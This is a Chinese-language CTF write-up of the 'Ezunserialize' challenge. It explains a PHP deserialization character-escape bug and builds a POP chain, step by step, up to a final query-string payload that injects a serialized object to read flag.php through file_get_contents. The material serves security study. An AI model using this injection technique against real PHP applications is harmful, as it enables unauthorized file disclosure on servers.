DACTF—Ezunserialize

DACTF—Ezunserialize(PHP反序列化字符逃逸)

这个题是我在赛后再进行学习的,所以自己在本地复现了一下环境。


show_source("index.php");
function write($data) {
    return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}

function read($data) {
    return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}

class A{
    public $username;
    public $password;
    function __construct($a, $b){
        $this->username = $a;
        $this->password = $b;
    }
}

class B{
    public $b = 'gqy';
    function __destruct(){
        $c = 'a'.$this->b;
        echo $c;
    }
}

class C{
    public $c;
    function __toString(){
        //flag.php
        echo file_get_contents($this->c);
        return 'nice';
    }
}
$a = new A($_GET['a'],$_GET['b']);
//省略了存储序列化数据的过程,下面是取出来并反序列化的操作
$b = unserialize(read(write(serialize($a))));

首先分析,定义了三个类ABC
ok,咱们看到C类中有个敏感函数file_get_contents()(将文件读取到一个字符串中)
我们很明显的可以看到注释了一个flag.php,好的,这里我们可以想是不是可以利用这个敏感函数来读取flag.php呢?
OK,__toString这个方法必须得在echo时才会调用,那么我们继续找。发现在B类中有echo。而最后却只实例化了A类,所以这里我们使$a->password=$b就OK了
这里我们的思路就很清晰了,开始构造pop链
pop链:

$b = new B(); 
$b->b = new C();  
$b->b->c = 'flag.php';
$a = new A();
$a->username='ro4lsc';
$a->password=$b;

序列化的结果为:

O:1:"A":2:{s:8:"username";s:6:"ro4lsc";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}}

现在我们注意到

function write($data) {
    return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}

function read($data) {
    return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}

read函数可以使\0\0\0替换为<0x00>*<0x00>,write函数反之
这里我们注意到read函数将\0\0\0(6个字符)替换为<0x00>*<0x00>(3个字符)这里就导致了PHP反序列化字符的逃逸,这里我在本地也搭建好了环境


show_source("index.php");
function write($data) {
    return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}

function read($data) {
    return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}

class A{
    public $username;
    public $password;
    function __construct($a, $b){
        $this->username = $a;
        $this->password = $b;
    }
}

class B{
    public $b = 'gqy';
    function __destruct(){
        $c = 'a'.$this->b;
        echo $c;
    }
}

class C{
    public $c;
    function __toString(){
            //flag.php
        echo file_get_contents($this->c);
        return 'nice';
    }
}

$a = new A($_GET['a'],$_GET['b']);
//省略了存储序列化数据的过程,下面是取出来并反序列化的操作
$b = unserialize(read(write(serialize($a))));
echo "serialize(): ".serialize($a);
echo "
"
; echo "write(): ".write(serialize($a)); echo "
"
; echo "read(write()): ".read(write(serialize($a))); echo "
"
; $b = unserialize(read(write(serialize($a)))); var_dump($b); echo "
"
; echo "username: ".$b->username; echo "
"
; echo "password: ".$b->password; echo "
"
;

首先传入参数a=1&b=1
DACTF—Ezunserialize_第1张图片

O:1:"A":2:{s:8:"username";s:1:"1";s:8:"password";s:1:"2";}

然后传入参数a=\0\0\0&b=2
DACTF—Ezunserialize_第2张图片
可以很明显的看到最后经过read(write())函数过后

O:1:"A":2:{s:8:"username";s:6:"*";s:8:"password";s:1:"2";}

这里的s:6:"*"其实是s:6:"<0x00>*<0x00>"只有三位,所以PHP反序列化的时候就会向后再读取三位,现在再看之前序列化的结果

O:1:"A":2:{s:8:"username";s:1:"1";s:8:"password";s:1:"2";}

注意这里的

1";s:8:"password";s:1:"

长度为23
我们要使\0\0\0逃逸掉这部分的字符串使得b参数成为注入对象
所以需要构造8个\0\0\0,从而向后读取24位
故a=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
此时序列化之后变为

O:1:"A":2:{s:8:"username";s:48:"********";s:8:"password";s:1:"2";}

这里username变为

********";s:8:"password";s:1:"

此时的b参数为

2";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}}

因为需要闭合username的单引号和分号,再加上传入password变量序列化的结果

故最终payload为:

?a=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&b=2";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}}


由于本地没有设置flag,所以到此也算是复现成功了吧

你可能感兴趣的:(PHP反序列化)